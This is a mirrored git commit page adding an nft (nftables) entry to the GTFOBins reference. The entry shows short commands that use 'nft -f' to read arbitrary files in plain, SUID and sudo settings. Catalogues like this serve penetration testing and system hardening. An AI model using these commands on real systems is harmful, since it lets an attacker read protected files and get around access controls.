mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-24 13:59:17 +01:00
Add nft
Co-authored-by: Andrea Cardaci <cyrus.and@gmail.com>
This commit is contained in:
parent
5071cb555e
commit
055ef78280
16
_gtfobins/nft.md
Normal file
16
_gtfobins/nft.md
Normal file
@ -0,0 +1,16 @@
|
||||
---
|
||||
description: The content is actually parsed and corrupted by the command, thus it may not be suitable for arbitrary files. This requires version `nftables` v0.9.0.
|
||||
functions:
|
||||
file-read:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
nft -f "$LFILE"
|
||||
suid:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
./nft -f "$LFILE"
|
||||
sudo:
|
||||
- code: |
|
||||
LFILE=file_to_read
|
||||
sudo nft -f "$LFILE"
|
||||
---
|
Loading…
Reference in New Issue
Block a user